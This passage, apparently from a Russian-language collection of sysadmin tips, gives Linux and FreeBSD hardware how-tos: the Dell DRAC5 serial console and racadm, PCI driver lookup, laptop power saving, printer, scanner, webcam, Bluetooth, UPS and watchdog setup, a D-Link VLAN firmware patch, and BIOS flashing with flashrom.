    вторая не совсем понятно для чего, а третья - для подключения к com2 сервера.
    Настроив agetty и grub/lilo на
    работу с COM2 (ttyS1), а также прописав в BIOS redirect на Serial Port (указав
    портом Remote Access Device)
    мы получаем возможность полноценно управлять сервером с момента начальной
    загрузки, в том числе менять
    настройки BIOS и так далее. Для этого в ssh сессии пишем "connect com2" и если
    все настроено верно - то
    должно быть приглашение. Параметры порта по умолчанию - 57600 8N1, могут быть
    изменены через web интерфейс.
    
    Удаленное управление настройками DRAC
    
    Помимо racvmcli в папке Dell еще находится утилита racadm. Она также желает
    работать с libssl.so.0.9.7, так что я
    поступил с ней также как и с racvmcli, пропатчив 
    бинарник. Я уже упоминал, что racadm можно вызывать из ssh, но локальная версия
    имеет больше возможностей
    (команды sslcertupload, sslcertdownload, sslkeyupload, usercertupload, krbkeytabupload).
    
    Для вызова справки существует команда help
    
       ./racadm -r kvm.example.com -u user -p password help
    
    Для справке о какой либо команде - help <command>
    
       ./racadm -r kvm.example.com -u user -p password help ping
    
    Из особенностей можно заметить, что программа позволяет выполнять часть
    настроек, которые я не нашел в
    web интерфейсе (например, sslkeyupload).
    
    Заключение
    
    Контроллер DRAC5 - несомненно крайне полезен для удаленного администрирования,
    особенно в случае сложных проблем.
    Приятно что разработчики начинают думать не только о Windows пользователях, и в итоге удалось 
    достичь 100% работоспособности контроллера в Linux. Надеюсь, что ошибки будут
    учтены, и в следующих версиях
    сразу появятся нормальные Java CLI/GUI клиенты, а их "добыча" будет более
    тривиальной. Пропатченные для работы
    с openssl0.9.8 утилиты можно скачать у меня (http://samm.kiev.ua/drac5/drac5_cli.tar.gz). 
    Надеюсь заметка была полезной для владельцев Dell серверов, в случае вопросов -
    постараюсь ответить.
    
     
    
     
    ----* Как узнать поддерживается ли PCI устройство в заданном Linux ядре (доп. ссылка 1)   [комментарии]
     
    Для определения какие доступные модули ядра подходят для установленных в текущей системе PCI плат, 
    нужно запустить утилиту pcimodules, которая для сопоставления модулей ядра и
    идентификаторов PCI плат
    использует содержимое файла /lib/modules/версия_ядра/modules.pcimap,
    автоматически генерируемого на этапе
    выполнения команды depmod.
    
    Полный список всех поддерживаемых PCI идентификаторов можно найти в файле /usr/share/hwdata/pci.ids
    Обновить базу pci.ids можно выполнив команду:
    
       update-pciids
    
    Для просмотра всех PCI устройств в системе нужно использовать утилиту lspci
    (lspci -vvv для детального вывода).
    
    Для вывода информации, какой драйвер можно использовать для каждого устройства в системе:
    
       lspci -k
    
    Рассмотрим по шагам процесс определения присутствия поддержки имеющейся аудио
    платы в текущем Linux ядре.
    
    Смотрим параметры платы:
    
       lspci | grep -i audio
    
       00:1b.0 Audio device: Intel Corporation 82801G (ICH7 Family) High Definition Audio Controller
    
    Видим, что идентификатор платы 00:1b.0. Далее, выводим для этого идентификатора
    более подробную информацию:
    
    
       lspci -n | grep 00:1b.0
     
       00:1b.0 0403: 8086:27d8 (rev 01)
    
    где,
       00:1b.0 - код устройства;
       8086 - код производителя (Intel Corporation)
       27d8 - идентификатор модели.
    
    Проверяем какие модули ядра поддерживают данную модель:
    
       grep 27d8 /lib/modules/$(uname -r)/modules.pcimap 
    
       snd-hda-intel 0x00008086 0x000027d8...
    
    Смотрим информацию о драйвере:
    
       modinfo snd-hda-intel
    
       filename:       /lib/modules/2.6.27-11-server/kernel/sound/pci/hda/snd-hda-intel.ko
       description:    Intel HDA driver
       depends:        snd-pcm,snd-page-alloc,snd
    
     
    ----* Советы по уменьшению энергопотребления ноутбука с FreeBSD (доп. ссылка 1)   [комментарии]
     
    1. CPU
    Включение демона powerd позволяет менять частоту/вольтаж CPU в зависимости от нагрузки.
    
    Отключаем "p4tcc" и "throttling" в пользу более эффективного EIST. В /boot/loader.conf:
    
       hint.p4tcc.0.disabled=1
       hint.acpi_throttle.0.disabled=1
    
    Изменяем метод поведения CPU в моменты неактивности с C1 (по умолчанию) на C2, 
    который поддерживает отключение всех основных таймеров CPU. В /etc/rc.conf добавляем:
    
       performance_cx_lowest="C2"
       economy_cx_lowest="C2"
    
    Уменьшаем частоту генерации прерываний таймера, в loader.conf:
    
       kern.hz=100
    
    
    Экономия 5 Вт.
    
    2. PCI 
    
    Для отключения питания не используемых PCI устройств (например, FireWire и USB
    контроллер) достаточно пересобрать ядро
    без драйверов ненужных устройств и указать в loader.conf:
    
       hw.pci.do_power_nodriver=3
    
    Когда в устройстве возникнет необходимость, достаточно подгрузить драйвер как модуль ядра.
    
    Экономия 3 Вт.
    
    3. WiFi и Bluetooth
    
    Аппаратное отключение  WiFi и Bluetooth через обычно предусмотренную на
    ноутбуке комбинацию клавиш экономит около 2 Вт.
    
    4. HDA модем
    
    Физическое удаление платы HDA-модема привело к экономии 1 Вт.
    
    5. HDA звук
    Для уменьшения числа прерываний для звуковой карты в loader.conf прописываем:
    
       hint.pcm.0.buffersize=65536
       hint.pcm.1.buffersize=65536
       hw.snd.feeder_buffersize=65536
       hw.snd.latency=7
    
    6. Жесткий диск
    
    Для хранения временных файлов, чтобы не дергать лишний раз НЖМД, можно использовать tmpfs.
    Отключаем лишние периодически просыпающиеся сервисы, отключаем syslogd,
    используем легковесный оконный
    менеджер (например, icewm);
    
    Включение энергосберегающего spin-down режима работы 2.5" Hitachi SATA HDD
    привело к экономии 1 Вт,
    полное отключение - 2 Вт.
    
    Итог:
    
    Вышеописанные рекомендации + несколько дополнений внесенных в ветку FreebSD 8.0
    (подробнее см. ссылку внизу
    на оригинальное сообщение) позволили добиться следующий результатов:
    
       acpiconf -i0
    
    было: 2:24 часа (1621 mA)
    стало: 4:47 часа (826 mA)
    
    Для сравнения, оптимальные настройки Windows XP позволили продлить работу до 3:20 часов.
    
     
    ----* Решение проблемы с Nvidia драйверами во FreeBSD (доп. ссылка 1)   Автор: Nirnroot  [комментарии]
     
    Проблема: 
    
    после установки проприентарных драйверов Nvidia на FreeBSD X.Org зависает по непонятным причинам, 
    либо кидает систему в перезагрузку.
    
    Когда возникает: 
    
    экспериментальным путем было выведено, что если совокупная доступная оперативная память 
    системы + память видеокарты больше ~3.300 Мб (конкретно - предел оперативной памяти,
    определяемый стандартным ядром FreeBSD x86).
    
    Решение: 
    
    добавить в /boot/loader.conf строчку:
    
       machdep.disable_mtrrs=1
    
     
    ----* Решение проблемы с работой принтера Canon LBP2900 в Gentoo Linux   Автор: Diozan  [комментарии]
     
    При отключении принтера демон ccpd вываливается, оставляя в памяти сервис captmon2, 
    который начинает нестандартно работать, откушивая практически всю мощь процессора. 
    Для ликвидации этой проблемы, перед отключением принтера процесс ccpd нужно выгружать стандартно.
    Поэтому загрузку этого процесса и его выгрузку лучше поручить сервису udev. 
    Для этого создаем правило /etc/udev/rules.d/10-canon_LBP2900.rules
    
       #Own udev rule for CANON LBP2900
       KERNEL=="lp*", BUS=="usb", SYSFS{idVendor}=="04a9", \
         SYSFS{idProduct}=="2676", ACTION=="add", \ 
         NAME="canon_lbp2900",SYMLINK="usb/%k" \
         OWNER="root", GROUP="lp",  MODE="0660", RUN+="/etc/init.d/ccpd start"
       KERNEL=="lp*", ACTION=="remove", NAME=="canon_lbp2900", RUN+="/etc/init.d/ccpd stop"
    
    Сам ccpd при этом нужно убрать из автозагрузки. Его загрузка и выгрузка будет
    производится при включении и выключении принтера.
    
     
    ----* Использование Skype вместе с Bluetooth-гарнитурой в SLED 10 (доп. ссылка 1)   Автор: Alexander E Ivanov  [комментарии]
     
    Подключите bluetooth-адаптер к вашему компьютеру. 
    Вы должны увидеть что-то похожее на это в /var/log/messages:
    
     usb 1-1: new full speed USB device using uhci_hcd and address 2
     usb 1-1: new device found, idVendor=0a12, idProduct=0001
     usb 1-1: new device strings: Mfr=0, Product=0, SerialNumber=0
    
    Включите bluetooth, используя Yast: Hardware -> Bluetooth
    
    Включите аутентификацию и шифрование (Yast -> Bluetooth -> Security Options)
    
    Установите следующие пакеты, используя Yast, rug или zypper:
    
       automake, autoconf, gcc, alsa, alsa-tools, alsa-devel, m4, cvs, kernel-source.
    
    Добавьте самого себя в группу "audio" (используя права пользователя root):
    отредактируйте файл /etc/group и
    добавьте свое имя в конец строки группы "audio" (мое имя пользователя - stingleff): 
    
       audio:x:17:stingleff
    
    Прим.переводчика: на мой взгляд нет необходимости лезть руками в этот файл. 
    Подобную вещь можно сделать, используя Yast в консольном или gui-виде или
    просто выполнив команду от root:
    
       usermod -G audio stingleff
    
    
    Убедитесь, что bluetooth запущен, и определите MAC-адрес вашего bluetooth-адаптера. 
    Напоминаю, что увидев надпись XX:XX:XX:XX:XX:XX вы должны поменять ее на
    актуальное значение вашего устройства:
    
       # sudo hcitool dev
       Devices:
          hci0    XX:XX:XX:XX:XX:XX
    
    Отредактируйте /etc/bluetooth/rfcomm.conf, включив туда MAC-адрес вашего адаптера:
    
       ...
       device XX:XX:XX:XX:XX:XX;
       ...
    
    Создайте shell-скрипт /etc/bluetooth/feed-pin.sh для отправки пин-кода для вашей гарнитуры:
    
       #!/bin/sh
       echo "PIN:0000"
    
    Сделайте скрипт исполняемым:
    
       # chmod 700 /etc/bluetooth/feed-pin.sh
    
    Задайте опцию pin_helper в файле /etc/bluetooth/hcid.conf для использования этого скрипта:
    
       ...
       pin_helper /etc/bluetooth/feed-pin.sh
       ...
    
    Перезапустите сервисы bluetooth:
    
       # sudo /etc/init.d/bluetooth restart
    
    Перевести гарнитуру в режим подключения и выяснить MAC-адрес.
    Напомню, что MAC-адрес YY:YY:YY:YY:YY:YY необходимо поменять на тот, который существует у вас:
    
       # sudo hcitool scan
       Scanning ...
          YY:YY:YY:YY:YY:YY       Jabra BT 250v
    
    Соединиться с гарнитурой:
    
       # sudo hcitool cc YY:YY:YY:YY:YY:YY
    
    Проверим исходный код btsco. btsco используется для подключения гарнитуры к звуковому устройству:
    
       # cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/bluetooth-alsa co btsco
    
    Соберем и установим btsco:
    
       # cd btsco
       # ./bootstrap
       # ./configure
       # make
       # sudo make install
    
    Соберем и установим модуль ядра btsco:
    
       # cd kernel
       # make
       # sudo make install
       # sudo /sbin/depmod -e
    
    Загрузите модуль ядра emu10k1 (добавьте команду "/sbin/modprobe
    emu10k1" (без кавычек) 
    в файл /etc/rc.d/boot.local для загрузки модуля автоматически во время старта системы):
    
       # sudo /sbin/modprobe emu10k1
    
    Добавьте команду "/sbin/modprobe snd-bt-sco" (без кавычек) в файл /etc/rc.d/boot.local 
    для загрузки модуля автоматически во время старта системы:
    
       # sudo /sbin/modprobe snd-bt-sco
    
    Соедините btsco с гарнитурой:
    
       # sudo btsco -v YY:YY:YY:YY:YY:YY
    
    Настройте skype на использования /dev/dsp1 (Tools -> Options -> Hand/Headsets)
    
    Для автоматизации процесса каждый раз во время запуска Skype сохраните 
    этот скрипт как ~/bin/skype.sh и выполняйте вместо стандартной команды для запуска Skype:
    
       #!/bin/bash
       gnomesu btsco -v YY:YY:YY:YY:YY:YY &
       skype
       gnomesu pkill btsco
    
    
    Оригинал на английском: http://www.novell.com/communities/node/3758/using-skype-with-a-bluetooth-headset-sled-10
    
     
    ----* Включение поддержки VLAN на ADSL-маршрутизаторе D-Link 2500U/BRU/D   Автор: halic  [комментарии]
     
    Переделанная прошивка позволяет указывать VLAN-id на ethernet порте  модема D-Link 2500U/BRU/D
    (http://dlink.ru/ru/products/3/745.html).
    VLAN-id не указывается каким-то отдельным пунктом, а берется из IP.
    Если нужен VLAN-id 22, меняйте локальный IP модема на X.X.22.X, если 66 - X.X.66.X.
    Например: 192.168.55.1 для VLAN-id #55.
    Прошивка проверенно работает на модемах первой ревизии, т.е. без индикатора Internet.
    
    Оригинальные исходники можно загрузить здесь:
       ftp://ftp.dlink.ru/pub/ADSL/GPL_source_code/DSL-2500U_BRU_D/DLink_DSL-2500U_RU_1.20_release.tar.gz
    
    Патч:
    
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template ./hostTools/scripts/defconfig-bcm.template
       --- ../DLink_DSL-2500U.original/hostTools/scripts/defconfig-bcm.template	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/defconfig-bcm.template	2009-02-06 21:19:01.000000000 +0200
       @@ -615,7 +615,7 @@
        CONFIG_ATM_BR2684=m
        # CONFIG_ATM_BR2684_IPFILTER is not set
        CONFIG_ATM_RT2684=y
       -# CONFIG_VLAN_8021Q is not set
       +CONFIG_VLAN_8021Q=y
        # CONFIG_LLC2 is not set
        # CONFIG_IPX is not set
        # CONFIG_ATALK is not set
       diff -urN ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig ./hostTools/scripts/gendefconfig
       --- ../DLink_DSL-2500U.original/hostTools/scripts/gendefconfig	2008-06-13 16:43:17.000000000 +0300
       +++ ./hostTools/scripts/gendefconfig	2009-02-06 21:18:45.000000000 +0200
       @@ -462,9 +462,9 @@
       ############################################################
       # VLAN config generation
       ############################################################
       -if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       -SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       -fi
       +#if [ "$BUILD_VCONFIG" != "" -o "$BUILD_WANVLANMUX" != "" ]; then
       +#SEDCMD="$SEDCMD -e 's/# CONFIG_VLAN_8021Q is not  set/CONFIG_VLAN_8021Q=y/'"
       +#fi
     
        ############################################################
        #       WAN operation over Ethernet
       diff -urN ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan ./targets/fs.src/etc/rc.vlan
       --- ../DLink_DSL-2500U.original/targets/fs.src/etc/rc.vlan	1970-01-01 03:00:00.000000000 +0300
       +++ ./targets/fs.src/etc/rc.vlan	2009-02-07 06:32:13.000000000 +0200
       @@ -0,0 +1,12 @@
       +#!/bin/sh
       +
       +PATH=/bin:/sbin:/usr/bin
       +export PATH
       +
       +VID=$1
       +VIF=eth0.$VID
       +
       +vconfig add eth0 $VID > /dev/null 2> /dev/null
       +ifconfig $VIF up > /dev/null 2> /dev/null
       +brctl addif br0 $VIF > /dev/null 2> /dev/null
       +brctl delif br0 eth0 > /dev/null 2> /dev/null
       diff -urN ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html   /DLink_Style/footer.html ./userapps/broadcom/cfm/html/DLink_Style/footer.html
       --- ../DLink_DSL-2500U.original/userapps/broadcom/cfm/html/DLink_Style/footer.html	2008-06-13 16:45:30.000000000 +0300
       +++ ./userapps/broadcom/cfm/html/DLink_Style/footer.html	2009-02-09 22:02:46.000000000 +0200
       @@ -11,9 +11,9 @@
                 <tr>
                     <td class="footerTd" align="center">
                         <font color="white" face="Arial,Helvetica,Geneva,Swiss,SunSans-Regular">
       -                    Recommend: 800x600 pixels,High Color(16 Bits)
       +                    Recommend: 800x600 pixels,High Color(16 Bits) · <font color="red">VLAN POWERED</font>
                     </font></td>
                 </tr>
             </table>
         </body>
       -</html>
       \ No newline at end of file
       +</html>
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config ./userapps/opensource/busybox/brcm.config
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/brcm.config	2008-06-13 16:45:18.000000000 +0300
       +++ ./userapps/opensource/busybox/brcm.config	2009-02-07 01:32:49.000000000 +0200
       @@ -279,7 +279,7 @@
        CONFIG_FEATURE_TFTP_DEBUG=n
     
        # CONFIG_TRACEROUTE is not set
       -CONFIG_VCONFIG=n
       +CONFIG_VCONFIG=y
        # CONFIG_WGET is not set
     
        #
       diff -urN ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c ./userapps/opensource/busybox/networking/ifconfig.c
       --- ../DLink_DSL-2500U.original/userapps/opensource/busybox/networking/ifconfig.c	2008-06-13 16:45:17.000000000 +0300
       +++ ./userapps/opensource/busybox/networking/ifconfig.c	2009-02-07 07:42:04.000000000 +0200
       @@ -37,6 +37,7 @@
        #include <string.h>		/* strcmp and friends */
        #include <ctype.h>		/* isdigit and friends */
        #include <stddef.h>		/* offsetof */
       +#include <unistd.h>
        #include <netdb.h>
        #include <sys/ioctl.h>
        #include <net/if.h>
       @@ -558,6 +559,28 @@
     		continue;
     	}					/* end of while-loop    */
     
       +	if(	strcmp(ifr.ifr_name, "br0") == 0  &&
       +		((char*)&sai.sin_addr.s_addr)[0] != 0 &&
       +		((char*)&sai.sin_addr.s_addr)[2] > 1
       +	  )
       +	{
       +		int __pid;
       +		char __cmd[32];
       +
       +		if((__pid = fork()) == 0)
       +		{
       +			sprintf(__cmd, "/etc/rc.vlan %d", 
       +				(char)    (((char*)&sai.sin_addr.s_addr)[2]) );
       +			execl("/bin/sh", "/bin/sh", "-c", __cmd, NULL);
       +			exit(0);
       +		}
       +		else
       +		{
       +			if(__pid == -1)
       +				fprintf(stderr, "ifconfig: unable to execute /etc/rc.vlan\n");
       +		}
       +	}
       +
     	return goterr;
        }
     
    
    Готовый бинарник можно запросить по адресу: <halic, который на инбоксе в россии>.
    
     
    ----* Решение проблемы с подключением web-камеры к Skype под Linux (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Если в Linux дистрибутиве с ядром 2.6.27 или старше локальная web-камера (например, 
    камеры серии Logitech Quickcam Communicate работающие через gspca драйверы) в skype 
    (или любой другой программе использующей интерфейс v4l1) отображает лишь шум на экране, 
    для запуска skype нужно использовать скрипт:
    
       #!/bin/sh
       export LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so
       skype 
    
    
    v4l1compat.so входит в состав пакета libv4l
    
    Проверить в v4l1 ли причина можно так:
    
       LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so mplayer tv:// -tv driver=v4l2:device=/dev/video0
    
    Для настройки параметров отображения удобно использовать программу v4lucp (http://sourceforge.net/projects/v4l2ucp/)
    
    Создание скрипта для подмены skype:
    
      mv /usr/bin/skype /usr/bin/skype-bin; echo -e '#!/bin/sh\n\n
       export LD_PRELOAD=/usr/lib/libv4l/v4l1compat.so\n\nskype-bin' |
       tee -a /usr/bin/skype; sudo chmod +x /usr/bin/skype
    
     
    ----* Перепрошивка BIOS в Linux (доп. ссылка 1)   Автор: stylliaga  [комментарии]
     
    Устанавливаем программу для перепрошивки. Загружаем с
    http://openbios.info/FlashRom) или ставим из Debian-based репозитория:
    
       apt-get install flashrom
    
    Перед записью новой прошивки в БИОС, желательно сохранить старую версию, то
    есть скопировать прошивку,
    которая уже прошита в БИОСе, чтобы потом можно было легко восстановить все обратно:
    
       flashrom -r MyBIOS.bin
    
    Где MyBIOS.bin - это имя файла, в который сохранится старая версия прошивки. 
    После сохранения, можно уже на свой страх и риск записывать скачанную прошивку в БИОС:
    
       sudo flashrom -w NewBIOS.bin
    
    Где NewBIOS.bin - это имя скачанной прошивки. Также, можно добавить ключ -v
    чтобы программа проверила
    записанную прошивку и еще можно добавить ключ -V чтобы вывод работы был более информативным:
    
       sudo flashrom -Vvw NewBIOS.bin
    
    
    На примере была испытана материнская плата GIGABYTE GA-965P-DQ6 rev2.0 с Ubuntu
    8.04 GNU/Linux на борту
    FlashRom при первом запуске без ключей показал вот такую информацию:
    
       krik@krik-desktop:~/temp$ sudo flashrom
       [sudo] password for krik:
       Calibrating delay loop... OK.
       No coreboot table found.
       Found chipset "Intel ICH8/ICH8R", enabling flash write... OK.
       Found chip "Macronix MX25L8005" (1024 KB) at physical address  0xfff00000.
       Found chip "Macronix unknown Macronix SPI chip" (0 KB) at physical address 0x0.
       Multiple flash chips were detected: MX25L8005 unknown Macronix SPI chip
       Please specify which chip to use with the -c option."
    
    На материнской плате установлено два чипа BIOS. Один главный, второй - запасной 
    (в случае повреждения первого, прошивка восстанавливается со второго). 
    Флэшер нашел оба этих чипа и предложил выбрать, который использовать. Чтобы выбрать чипсет - 
    надо использовать ключ -c. Для этой материнской платы, чтобы прочитать уже
    стоящею прошивку БИОСа в файл,
    пришлось запустить ее с такими параметрами:
    
       sudo flashrom -r MyBIOS.bin -c MX25L8005
    
    Где MyBIOS.bin - это файл, куда сохранялась прошивка, а MX25L8005 - выбранный чипсет. 
    После того, как прошивка была забекапена, можно уже приступать непосредственно
    к записи новой прошивки.
    Перед записью прошивки в БИОС можно проверить, ту ли прошивку вы скачали - достаточно сравнить 
    размер MyBIOS.bin и 965PDQ6.12K или открыть оба файла в hex-редакторе и
    сравнить начало и конец. Если все в порядке, приступаем:
    
       sudo flashrom -Vvw -c MX25L8005 965PDQ6.12K
    
    Где файл 965PDQ6.12K - и есть сама прошивка с официального сайта (на сайте расположены exe-файлы, 
    но это всего-лишь SFX-RAR архив с самой прошивкой и программой-флэшером для ДОСа). 
    Теперь можно перезагрузиться с новым биосом.
    
    
    Настройки NVRAM (CMOS)
    
    В линуксе не только можно прошивать БИОС, но и также сохранять или записывать
    его текущие настройки,
    причем штатными средствами. Нужно всего-лишь подгрузить модуль nvram и считать
    информацию с устройства /dev/nvram:
    
       modprobe nvram
       sudo dd if=/dev/nvram of=my_bios_cfg.bin
    
    Где my_bios_cfg.bin - это двоичный файл, куда сохранятся текущие настройки BIOS. 
    Записать настройки обратно можно тем-же путем, только поменяв if на of и of на if:
    
       sudo dd of=/dev/nvram if=my_bios_cfg.bin
    
     
    ----* Использование аппаратного "watchdog" во FreeBSD   Автор: Дмитрий Иванов  [комментарии]
     
    Некоторые материнские платы снабжены специальным устройством, делающим жесткую перезагрузку, 
    если ОС не "дернула" вовремя это устройство. Называется оно "hardware watchdog timer". 
    Таким образом, автоматическая и неминуемая перезагрузка гарантируется при "зависании" ОС.
    
    В частности, watchdog timer имеется на многих материнских платах Intel, 
    причем не только на серверных. Соответствующий драйвер FreeBSD называется ichwd. 
    Итак, если у нас материнка Intel, попробуем сделать так:
    
       kldload ichwd
    
    В сообщениях ядра (их можно посмотреть командой dmesg) при этом увидим что-то вроде:
    
       ichwd0: <Intel ICH9R watchdog timer> on isa0
       ichwd0: Intel ICH9R watchdog timer (ICH9 or equivalent)
    
    Теперь ясно, что у нас действительно есть такой таймер. Действуем дальше.
    
    Для автоматической загрузки драйвера добавляем в /boot/loader.conf:
    
       ichwd_load="YES"
    
    Для запуска демона, "дергающего" watchdog, добавляем в /etc/rc.conf:
    
       watchdogd_enable="YES"
    
    Этот демон будет периодически "дергать" таймер, сообщая ему, что система все еще жива. 
    Будьте осторожны с этим демоном! Если убить его как обычно (т.е. 15-м сигналом), 
    он аккуратно снимет таймер с "боевого дежурства". Но если убить его 9-м сигналом, 
    то таймер перестанет получать наши сигналы, и решит, что система зависла. Произойдет перезагрузка.
    
    Иногда watchdog надо включить в BIOS. На некоторых платах watchdog есть, но
    воспользоваться им невозможно.
    Иногда при инициализации драйвера появляется ругань на параллельный порт, но ее можно игнорировать.
    
    Проверено на FreeBSD 7.1-BETA2.
    
     
    ----* Печать на МФУ Samsung во FreeBSD с использованием драйверов Linux   Автор: Alexander Shikoff  [комментарии]
     
    Настройка печати через CUPS на МФУ Samsung SCX-4521F с использованием 
    драйверов Linux
    
    Окружение: 
            - FreeBSD 7.1-PRERELEASE i386
            - linux_base-f8 из портов
            - linux-png-1.2.8_2 из портов
            - linux-tiff из портов
            - linux-jpeg-6b.34 из портов
            - linux-xorg-libs-6.8.2_5 из портов
            - cups-base-1.3.9_2 из портов
            - cups-smb-backend-1.0_1 из портов
    
    Предполагается также, что линуксолятор вкомпилирован в ядро/подгружен и работает.
    Если он работает нормально, то в sysctl можно увидеть версию ядра:
    
       # sysctl -a|grep linux
    
       hw.snd.compat_linux_mmap: 0
       compat.linux.oss_version: 198144
       compat.linux.osrelease: 2.6.16
       compat.linux.osname: Linux
    
    1. Качаем с официального сайта Samsung драйвера для Linux 
    (Linux Unified Driver). В моем случае файл назывался UnifiedLinuxDriver.tar.gz.
    
    2. Распаковываем:
    
       # tar -zxf UnifiedLinuxDriver.tar.gz
    
    3. Копируем ppd-файл с драйвером и нужный фильтр в папки CUPSа. Посмотреть, 
    какой именно фильтр нужен, можно в соответствующем Вашему принтеру файлу ppd:
    
       # cat cdroot/Linux/noarch/at_opt/share/ppd/scx4x21.ppd |grep Filter
       *cupsFilter:  "application/vnd.cups-postscript 0 rastertosamsungspl"
    
       # mkdir /usr/local/share/cups/model/samsung
       # cp cdroot/Linux/noarch/at_opt/share/ppd/scx4x21.ppd /usr/local/share/cups/model/samsung/
       # cp cdroot/Linux/i386/at_root/usr/lib/cups/filter/rastertosamsungspl /usr/local/libexec/cups/filter/
    
    4. Теперь задача добавить в /compat/linux недостающие либы. Перед тем, как 
    запускать линуксячий бинарник, стОит выполнить команду
    
       # /compat/linux/sbin/ldconfig
    
    Далее нужно выяснить, каких библиотек не хватает. Самый простой способ - запускать 
    из командной строки /usr/local/libexec/cups/filter/rastertosamsungspl и смотреть,
    чего ему не хватает. Подкладывать их в /compat/linux/lib или /compat/linux/usr/lib
    по одной, и запускать /compat/linux/sbin/ldconfig. 
    
    В моем случае не хватало следующих:
    
            libcups.so.2
            libcupsimage.so.2
            libgnutls.so.13
            libgcrypt.so.11
            libgpg-error.so.0
    
    Найти и скачать RPM-пакеты для нужного релиза Fedroa, в которых есть эти библиотеки, 
    можно с помощью Web-сервиса RPM Search, например http://rpm.pbone.net/
    Итак, у нас появляется 4 файла rpm:
    
       # ls -1 *rpm
    
       cups-libs-1.3.4-2.fc8.i386.rpm
       gnutls-1.6.3-2.fc8.i386.rpm
       libgcrypt-1.2.4-6.i386.rpm
       libgpg-error-1.5-6.i386.rpm
    
    Достаем оттуда библиотеки:
    
       # rpm2cpio cups-libs-1.3.4-2.fc8.i386.rpm | tar -zxf -
       # rpm2cpio gnutls-1.6.3-2.fc8.i386.rpm | tar -zxf -
       # rpm2cpio libgcrypt-1.2.4-6.i386.rpm | tar -zxf -
       # rpm2cpio libgpg-error-1.5-6.i386.rpm | tar -zxf -
    
    Копируем их в /compat/linux:
    
       # cp -v lib/libgcrypt.so.11.2.3 lib/libgpg-error.so.0.3.1 /compat/linux/lib/
       lib/libgpg-error.so.0.3.1 -> /compat/linux/lib/libgpg-error.so.0.3.1
       lib/libgcrypt.so.11.2.3 -> /compat/linux/lib/libgcrypt.so.11.2.3
       # cp -v usr/lib/libcups* /compat/linux/usr/lib/
       usr/lib/libcupsimage.so.2 -> /compat/linux/usr/lib/libcupsimage.so.2
       usr/lib/libcups.so.2 -> /compat/linux/usr/lib/libcups.so.2
       # cp -v usr/lib/libgnutls.so.13.3.0 /compat/linux/usr/lib/tls/
       usr/lib/libgnutls.so.13.3.0 -> /compat/linux/usr/lib/tls/libgnutls.so.13.3.0
       # /compat/linux/sbin/ldconfig
    
    5. Если все было сделано правильно, то бинарник должен нормально запуститься:
    
       # /usr/local/libexec/cups/filter/rastertosamsungspl
    
       INFO: Usage: rastertosamsungspl job-id user title copies options [file]
       ERROR: Wrong number of arguments
    
    6. Далее идем броузером на http://localhost:631/ и подключаем принтер, как обычно.
    В разделе Make/Manufacturer должен появиться Samsung, и далее - в разделе
    
       Model/Driver - SCX-4x21 Series.
    
    Возможно, пропустил что-то, но в принципе суть изложена.
    Аналогичным образом, я думаю, можно завести любой принтер, если к нему есть
    нормальные Linux драйверы.
    
     
    ----* Организация в Linux совместного доступа к сканеру с нескольких машин (доп. ссылка 1)   Автор: volhin  [комментарии]
     
    Пошаговое мини-howto, описывающее как расшарить сканер между linux-системами по
    аналогии с сетевым принтером.
    Предполагаем, что локально сканер на сервере настроен и работает (см. sane).
    Теперь нужно выполнить следующие действия:
    
    На сервере:
    
    1) Ставим демон saned (входит в состав разных пакетов, в зависимости от
    дистрибутива, наример sane-utils или sane-server).
    
    2) В /etc/sane.d/saned.conf добавляем ip клиента(ов) (см. примеры в том же файле).
    
    3) Создаем файл /etc/xinetd.d/saned (для автоматического запуска сервера
    сканирования сетевым демоном xinetd) вида:
    
        service sane-port
        {
           disable = no
           socket_type = stream
           protocol = tcp
           user = scanner
           wait = no
           server = /usr/sbin/saned
           only_from = 192.168.1.1 192.168.1.2 # список машин, которым можно обращаться к сканеру
        }
    
    (здесь предполагается, что в системе присутствует пользователь "scanner" с
    правами на доступ к сканеру.
    конечно можно задать пользователя, от имени которого будет запускаться демон saned, по желанию. 
    root строго не рекомендуется)
    
    4) Выполняем команду (чтобы xinetd подхватил созданный нами файл):
    
       $ sudo /etc/init.d/xinetd reload
    
    
    На клиенте:
    
    5) В /etc/sane.d/net.conf добавляем строку с ip сервера.
    
    6) Пускаем xsane, сканируем, радуемся.
    
     
    
     
    ----* Подключение ИБП APC Smart в Linux через USB порт   Автор: Сева  [комментарии]
     
    Имеется в наличии APC SC 1500 с USB кабелем, и Gentoo Linux 2.6.25-r7.
    Демон apcupsd никак не хотел с этим работать, apctest выдавал ошибку
    подключения.
    
       # lsusb
       Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 005 Device 002: ID 067b:2303 Prolific Technology, Inc. PL2303 Serial Port
       Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
       Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
       Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
    
    В интернете я нашел только жалобы, на то, что данная связка не работает
    и нужно ставить apcuspd версию 3.10 из development ветки.
    
    Оказалось всё решается просто.
    
    Prolific Technology, Inc. PL2303 Serial Port - это обычный USB->COM конфертер.
    Благодаря ему, в системе создается serial устройство /dev/ttyUSB0,
    которое и нужно указать в файле конфигурации.
    После чего конфигурационный файл выглядит так.
    
       # cat /etc/apcupsd/apcupsd.conf |grep -v "#"
    
       UPSCABLE smart
       UPSTYPE apcsmart
